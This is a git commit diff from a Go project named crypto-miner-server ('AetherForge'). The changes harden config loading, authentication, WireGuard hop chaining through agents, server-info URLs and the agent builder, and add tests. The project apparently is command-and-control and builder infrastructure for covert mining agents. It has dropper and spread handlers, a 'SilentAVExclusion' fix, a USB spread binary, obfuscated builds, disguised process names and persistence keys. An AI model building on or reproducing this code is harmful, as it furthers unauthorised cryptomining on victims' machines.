Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
AetherForge
2026-06-06 16:57:39 -07:00
parent 5229854f00
commit 415b5dc6a3
119 changed files with 7005 additions and 3082 deletions

View File

@@ -260,7 +260,9 @@ func LoadConfig() *Config {
configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config
if err := json.Unmarshal(data, &fileCfg); err == nil {
if unmarshalErr := json.Unmarshal(data, &fileCfg); unmarshalErr != nil {
fmt.Fprintf(os.Stderr, "[Config] WARNING: config.json is malformed and will be ignored: %v\n", unmarshalErr)
} else {
// Use mergeConfigExplicit so that boolean fields absent from the file
// keep their DefaultConfig values instead of being zeroed (H14).
var presentKeys map[string]json.RawMessage

View File

@@ -32,6 +32,9 @@ func allowAgentWSUpgrade(clientIP string) bool {
filtered = append(filtered, t)
}
}
if len(filtered) == 0 {
delete(agentWSRateLim.attempts, clientIP)
}
if len(filtered) >= agentWSRateLimitMax {
agentWSRateLim.attempts[clientIP] = filtered
return false

View File

@@ -49,8 +49,8 @@ func TestAuthCacheHitAndMiss(t *testing.T) {
func TestGenerateRandomPasswordLength(t *testing.T) {
pw := generateRandomPassword()
if len(pw) != 8 {
t.Fatalf("expected 8-char hex password, got len %d (%q)", len(pw), pw)
if len(pw) != 16 {
t.Fatalf("expected 16-char hex password (8 random bytes), got len %d (%q)", len(pw), pw)
}
}

View File

@@ -70,6 +70,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
webRoot := filepath.Join(dataDir, "webroot")
@@ -77,7 +78,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -489,6 +490,14 @@ func TestIntegrationBuilderRoutes(t *testing.T) {
if rec.Code != http.StatusNotFound {
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`))
if rec.Code == http.StatusNotFound {
t.Fatal("builder/path-forge route not registered")
}
if rec.Code != http.StatusBadRequest {
t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code)
}
}
func TestIntegrationBlueprintsCRUD(t *testing.T) {

View File

@@ -106,12 +106,7 @@ func (h *PathTracerHandler) expireSessions() {
h.mu.Unlock()
for _, sess := range expired {
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
h.teardownHops(sess.Hops)
}
}
@@ -131,6 +126,23 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
return
}
seen := make(map[string]bool, len(req.AgentIDs))
for _, id := range req.AgentIDs {
id = strings.TrimSpace(id)
if id == "" {
http.Error(w, "agent_ids required", http.StatusBadRequest)
return
}
if seen[id] {
http.Error(w, "duplicate agent_ids", http.StatusBadRequest)
return
}
seen[id] = true
if !h.hub.isAgentConnected(id) {
http.Error(w, "agent "+id[:min(8, len(id))]+" not connected", http.StatusBadRequest)
return
}
}
clientPriv, clientPub, err := generateServerWGKeyPair()
if err != nil {
@@ -146,11 +158,14 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
clientPubKey: clientPub,
}
// Build hops with placeholder names (agent name lookup below).
for i, id := range req.AgentIDs {
agentName := fmt.Sprintf("hop-%d", i+1)
if ag, err := h.hub.db.GetAgent(id); err == nil && strings.TrimSpace(ag.Name) != "" {
agentName = ag.Name
}
sess.Hops = append(sess.Hops, &HopInfo{
AgentID: id,
AgentName: fmt.Sprintf("hop-%d", i+1),
AgentName: agentName,
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
Port: 51820,
Status: HopPending,
@@ -239,13 +254,7 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
return
}
// Tell all agents to tear down.
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
h.teardownHops(sess.Hops)
h.mu.Lock()
delete(h.sessions, id)
@@ -326,6 +335,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
r.hop.Status = HopFailed
r.hop.Error = r.err
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
} else if strings.TrimSpace(r.pub) == "" || strings.TrimSpace(r.ip) == "" {
r.hop.Status = HopFailed
r.hop.Error = "missing public key or external IP"
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: missing public key or external IP"
} else {
r.hop.PublicKey = r.pub
r.hop.ExternalIP = r.ip
@@ -347,6 +360,7 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
h.mu.Unlock()
if anyFailed {
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
h.teardownHops(sess.Hops)
return
}
@@ -430,11 +444,24 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
if allReady {
sess.Ready = true
}
hops := sess.Hops
h.mu.Unlock()
if !allReady {
h.teardownHops(hops)
}
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
}
func (h *PathTracerHandler) teardownHops(hops []*HopInfo) {
for _, hop := range hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
}
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
var peers []map[string]interface{}

View File

@@ -14,6 +14,7 @@ import (
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
"github.com/gorilla/websocket"
@@ -367,6 +368,52 @@ func TestPathTracerBuildClientConfig(t *testing.T) {
}
}
func TestPathTracerStartResolvesAgentName(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
agentID := "trace-agent-named"
if err := database.UpsertAgent(&models.Agent{
ID: agentID,
Name: "Edge Node Alpha",
Status: "online",
}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
startPathTracerAgentResponder(t, hub, agentID, "NAMED_AGENT_PUB")
// WS auth overwrites name with hostname; restore operator label for resolution test.
if err := database.UpsertAgent(&models.Agent{ID: agentID, Name: "Edge Node Alpha", Status: "online"}); err != nil {
t.Fatal(err)
}
body := `{"agent_ids":["` + agentID + `"]}`
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Start(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
}
var startResp struct {
Hops []HopInfo `json:"hops"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
t.Fatal(err)
}
if len(startResp.Hops) != 1 {
t.Fatalf("expected 1 hop, got %d", len(startResp.Hops))
}
if startResp.Hops[0].AgentName != "Edge Node Alpha" {
t.Fatalf("expected resolved agent name, got %q", startResp.Hops[0].AgentName)
}
}
func TestPathTracerStartValidation(t *testing.T) {
h := NewPathTracerHandler(NewWSHub(nil))
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
@@ -375,4 +422,20 @@ func TestPathTracerStartValidation(t *testing.T) {
if rec.Code != http.StatusBadRequest {
t.Fatalf("expected 400, got %d", rec.Code)
}
dupBody := `{"agent_ids":["agent-a","agent-a"]}`
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(dupBody))
rec = httptest.NewRecorder()
h.Start(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("duplicate agent_ids: expected 400, got %d", rec.Code)
}
offlineBody := `{"agent_ids":["offline-agent"]}`
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(offlineBody))
rec = httptest.NewRecorder()
h.Start(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
}
}

View File

@@ -55,6 +55,7 @@ func authCacheHit(user, pass string) bool {
func authCacheSet(user, pass string) {
key := authCacheKey(user, pass)
authSessionCacheMu.Lock()
defer authSessionCacheMu.Unlock()
authSessionCache[key] = time.Now().Add(authCacheTTL)
// Prune expired entries opportunistically.
if len(authSessionCache) > 512 {
@@ -65,7 +66,6 @@ func authCacheSet(user, pass string) {
}
}
}
authSessionCacheMu.Unlock()
}
var (
@@ -356,7 +356,7 @@ func validateDashboardUsername(username string) error {
}
func generateRandomPassword() string {
b := make([]byte, 4)
b := make([]byte, 8)
if _, err := rand.Read(b); err != nil {
return "aether1!"
}
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -538,7 +538,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
if publicURLOverride != nil {
override = publicURLOverride()
}
GetServerInfo(w, r, override, listenPort)
tunnelReady := false
if cloudflaredConfigured != nil {
tunnelReady = cloudflaredConfigured()
}
GetServerInfo(w, r, override, listenPort, tunnelReady)
})
// Dashboard

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -5,26 +5,41 @@ import (
"net/http"
"net/url"
"strings"
"sync"
"time"
)
var (
cachedLocalIPs []string
cachedLocalIPsAt time.Time
cachedLocalIPsMu sync.Mutex
localIPsCacheTTL = 30 * time.Second
)
type ServerInfo struct {
Port int `json:"port"`
Host string `json:"host"`
LocalIPs []string `json:"local_ips"`
SuggestedURL string `json:"suggested_url"`
DashboardURL string `json:"dashboard_url"`
WebSocketURL string `json:"websocket_url"`
Port int `json:"port"`
Host string `json:"host"`
LocalIPs []string `json:"local_ips"`
LANURL string `json:"lan_url"`
TunnelURL string `json:"tunnel_url,omitempty"`
CloudflaredConfigured bool `json:"cloudflared_configured"`
SuggestedURL string `json:"suggested_url"`
DashboardURL string `json:"dashboard_url"`
WebSocketURL string `json:"websocket_url"`
}
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
// suggested_url uses https and omits :443 — not the local listen port (8989).
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
// lan_url is always the LAN http endpoint for workers on the same network.
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool) {
if listenPort <= 0 {
listenPort = 8989
}
localIPs := listLocalIPv4()
localIPs := listLocalIPv4Cached()
lanURL := lanURLFromIPs(localIPs, listenPort)
tunnelURL := tunnelURLFromRequest(r)
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
host := r.Host
@@ -37,17 +52,40 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
}
info := ServerInfo{
Port: port,
Host: host,
LocalIPs: localIPs,
SuggestedURL: suggestedURL,
DashboardURL: suggestedURL,
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
Port: port,
Host: host,
LocalIPs: localIPs,
LANURL: lanURL,
TunnelURL: tunnelURL,
CloudflaredConfigured: cloudflaredConfigured,
SuggestedURL: suggestedURL,
DashboardURL: suggestedURL,
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
}
writeJSON(w, info)
}
func lanURLFromIPs(localIPs []string, listenPort int) string {
if len(localIPs) == 0 {
return ""
}
return formatBaseURL("http", localIPs[0], listenPort)
}
func tunnelURLFromRequest(r *http.Request) string {
scheme := requestScheme(r)
if scheme != "https" {
return ""
}
host := requestHost(r)
hostOnly, port := hostAndPort(host, scheme)
if isLoopbackHost(hostOnly) {
return ""
}
return formatBaseURL(scheme, hostOnly, port)
}
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
if norm := normalizePublicURL(publicOverride); norm != "" {
return norm
@@ -141,6 +179,21 @@ func httpToWS(base string) string {
return "ws://" + strings.TrimPrefix(base, "http://")
}
func listLocalIPv4Cached() []string {
cachedLocalIPsMu.Lock()
defer cachedLocalIPsMu.Unlock()
if cachedLocalIPs != nil && time.Since(cachedLocalIPsAt) < localIPsCacheTTL {
out := make([]string, len(cachedLocalIPs))
copy(out, cachedLocalIPs)
return out
}
cachedLocalIPs = listLocalIPv4()
cachedLocalIPsAt = time.Now()
out := make([]string, len(cachedLocalIPs))
copy(out, cachedLocalIPs)
return out
}
func listLocalIPv4() []string {
var ips []string
ifaces, err := net.Interfaces()
@@ -187,6 +240,9 @@ func parsePort(s string) int {
return 8989
}
n = n*10 + int(ch-'0')
if n > 65535 {
return 8989
}
}
if n == 0 {
return 8989

View File

@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "", 8989)
GetServerInfo(rec, req, "", 8989, false)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
@@ -71,7 +71,7 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
GetServerInfo(rec, req, "https://forge.example.com:443", 8989, false)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
@@ -91,7 +91,7 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
req.Header.Set("X-Forwarded-Proto", "https")
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "", 8989)
GetServerInfo(rec, req, "", 8989, true)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
@@ -100,4 +100,31 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
}
if info.TunnelURL != "https://nothing.thetempleofdoom.com" {
t.Fatalf("tunnel_url = %q, want https public endpoint", info.TunnelURL)
}
if !info.CloudflaredConfigured {
t.Fatal("expected cloudflared_configured=true")
}
}
func TestGetServerInfoLANURLFromLocalhost(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "", 8989, false)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
t.Fatal(err)
}
if info.TunnelURL != "" {
t.Fatalf("tunnel_url should be empty on localhost, got %q", info.TunnelURL)
}
if len(info.LocalIPs) > 0 && info.LANURL == "" {
t.Fatalf("expected lan_url when local IPs present: %+v", info)
}
if len(info.LocalIPs) > 0 && info.LANURL != formatBaseURL("http", info.LocalIPs[0], 8989) {
t.Fatalf("lan_url = %q, want %s", info.LANURL, formatBaseURL("http", info.LocalIPs[0], 8989))
}
}

View File

@@ -524,7 +524,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
h.db.SetAgentOffline(agentID)
if err := h.db.SetAgentOffline(agentID); err != nil {
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
}
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
@@ -753,36 +755,44 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
_, alreadyConnected := h.agents[agentID]
if policy.MaxAgents > 0 {
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
}
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
_, alreadyConnected := h.agents[agentID]
if policy.MaxAgents > 0 {
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
oldConn.Close()
h.mu.Lock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
}
// startPing tracks whether a new ping goroutine is needed.
// If the same connection is re-authing (rare but possible), the existing
// ping loop is still healthy — starting a second one would create two
// concurrent writers racing on conn.WriteControl.
startPing := !alreadyConnected
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
h.mu.Unlock()
oldConn.Close()
h.mu.Lock()
startPing = true // fresh connection after displacing old one
}
ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
h.mu.Unlock()
h.FlushBeaconPoliciesToWS(agentID)
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
h.FlushBeaconPoliciesToWS(agentID)
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
// Start the RTT-aware ping loop now that we have an AgentConnection.
// Only start a ping loop for genuinely new connections.
if startPing {
go h.runPingLoopAgent(ac)
}
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
@@ -1312,13 +1322,11 @@ func (h *WSHub) broadcastDashboard(msg Message) {
for id, dc := range h.dashboards {
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
// Only close the connection here. HandleDashboardWS owns all map
// cleanup via its existing defer — doing it here too would cause a
// double-delete that corrupts the remaining-count used for the
// presence_update broadcast (SRV-B4).
dc.Conn.Close()
id := id
go func() {
h.mu.Lock()
delete(h.dashboards, id)
h.mu.Unlock()
}()
}
}
}

View File

@@ -317,6 +317,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
file.Close()
}
} else {
r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
@@ -529,17 +530,24 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
// cleanupBuild removes the build directory on any error path to avoid
// accumulating partial builds (which may contain uploaded payloads or
// a copy of the agent source tree).
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
cleanupBuild()
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
@@ -547,6 +555,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
p := platforms[0]
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
cleanupBuild()
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
@@ -558,6 +567,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
@@ -570,6 +580,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
var err error
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath = fusionRes.LauncherPath
@@ -850,6 +861,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
}
req.OutputDir = clean
}
// Cap slice lengths to prevent huge generated source files.
const maxBackupPools = 10
if len(req.BackupServerURLs) > maxBackupPools {
req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools]
}
if len(req.BackupPools) > maxBackupPools {
req.BackupPools = req.BackupPools[:maxBackupPools]
}
if len(req.RVNBackupPools) > maxBackupPools {
req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools]
}
if req.Threads <= 0 {
req.Threads = 4
}

View File

@@ -0,0 +1,49 @@
//go:build liveforge
package builder
import (
"context"
"os"
"strings"
"testing"
"time"
)
// TestLiveForgeWindowsSmoke compiles a real Windows agent via buildAgent.
// Run: go test -tags liveforge -run TestLiveForgeWindowsSmoke -timeout 10m
func TestLiveForgeWindowsSmoke(t *testing.T) {
if os.Getenv("LIVE_FORGE") != "1" {
t.Skip("set LIVE_FORGE=1 to run real compile smoke test")
}
h, database := testHandlerDB(t)
defer database.Close()
h.SetFleetSecret("live-forge-smoke-secret")
req := &BuildRequest{
TargetOS: "windows",
TargetArch: "amd64",
WorkerName: "live-smoke",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48" + strings.Repeat("A", 93),
Obfuscate: false,
}
ctx, cancel := context.WithTimeout(context.Background(), 8*time.Minute)
defer cancel()
resp, code, outputPath := h.buildAgent(ctx, req, "")
if code != 200 || !resp.Success {
t.Fatalf("build failed: code=%d resp=%+v", code, resp)
}
if outputPath == "" {
t.Fatal("empty output path")
}
st, err := os.Stat(outputPath)
if err != nil {
t.Fatalf("output missing: %v", err)
}
if st.Size() < 1_000_000 {
t.Fatalf("output too small: %d bytes", st.Size())
}
t.Logf("forge ok: %s (%d bytes) build_id=%s", outputPath, st.Size(), resp.BuildID)
}

View File

@@ -91,6 +91,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
http.Error(w, "root_path is required", http.StatusBadRequest)
return
}
cleanRoot, err := h.validateRootPath(req.RootPath)
if err != nil {
http.Error(w, "root_path rejected: "+err.Error(), http.StatusBadRequest)
return
}
req.RootPath = cleanRoot
if !req.TargetWindows && !req.TargetMac {
req.TargetWindows = true
req.TargetMac = true

View File

@@ -71,8 +71,9 @@ func resolveInstallBasePS(req *BuildRequest) string {
}
func generateUninstallScript(buildID string, req *BuildRequest) string {
processName := effectiveProcessName(req)
persistenceKey := persistenceKeyName(req)
// Escape single quotes for PowerShell string literals ('x' → ''x'').
processName := strings.ReplaceAll(effectiveProcessName(req), "'", "''")
persistenceKey := strings.ReplaceAll(persistenceKeyName(req), "'", "''")
installRel := expandInstallRelativePath(req, buildID)
installBase := resolveInstallBasePS(req)

View File

@@ -0,0 +1,12 @@
//go:build !windows
package cloudflared
import "testing"
func TestStubStartStop(t *testing.T) {
if err := Start("", "", "token-should-not-matter"); err != nil {
t.Fatalf("Start: %v", err)
}
Stop()
}

View File

@@ -15,6 +15,8 @@ import (
"syscall"
)
const maxCloudflaredBinaryBytes = 100 * 1024 * 1024 // 100 MB sanity cap
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
var (
@@ -121,7 +123,7 @@ func ensureBinary(deckRoot string) (string, error) {
if err != nil {
return "", err
}
_, err = io.Copy(f, resp.Body)
_, err = io.Copy(f, io.LimitReader(resp.Body, maxCloudflaredBinaryBytes))
closeErr := f.Close()
if err != nil {
return "", err

View File

@@ -0,0 +1,17 @@
//go:build windows
package cloudflared
import "testing"
func TestStartEmptyTokenIsNoOp(t *testing.T) {
for _, token := range []string{"", " ", "\t", `""`, "''"} {
if err := Start("", "", token); err != nil {
t.Fatalf("Start(%q): %v", token, err)
}
}
}
func TestStopWhenNotRunning(t *testing.T) {
Stop()
}

View File

@@ -2,6 +2,8 @@ package db
import (
"database/sql"
"fmt"
"strings"
"time"
"crypto-miner-server/internal/models"
@@ -71,6 +73,42 @@ func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
return ts, true
}
// BulkLastFleetTaskRuns returns a map keyed by "agentID:taskID" with the
// last_run_at time for every matching row. Missing pairs were never run.
// A single query replaces O(tasks × agents) individual lookups.
func (d *Database) BulkLastFleetTaskRuns(agentIDs, taskIDs []string) (map[string]time.Time, error) {
if len(agentIDs) == 0 || len(taskIDs) == 0 {
return map[string]time.Time{}, nil
}
args := make([]interface{}, 0, len(agentIDs)+len(taskIDs))
for _, id := range agentIDs {
args = append(args, id)
}
for _, id := range taskIDs {
args = append(args, id)
}
query := fmt.Sprintf(
`SELECT agent_id, task_id, last_run_at FROM fleet_task_runs WHERE agent_id IN (%s) AND task_id IN (%s)`,
strings.Repeat("?,", len(agentIDs)-1)+"?",
strings.Repeat("?,", len(taskIDs)-1)+"?",
)
rows, err := d.Query(query, args...)
if err != nil {
return nil, err
}
defer rows.Close()
out := make(map[string]time.Time, len(agentIDs)*len(taskIDs))
for rows.Next() {
var agentID, taskID string
var ts time.Time
if err := rows.Scan(&agentID, &taskID, &ts); err != nil {
return nil, err
}
out[agentID+":"+taskID] = ts
}
return out, rows.Err()
}
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
t := &models.FleetTask{}
var enabled int

View File

@@ -28,6 +28,9 @@ func New(dataDir string) (*Database, error) {
if err != nil {
return nil, fmt.Errorf("failed to open database: %w", err)
}
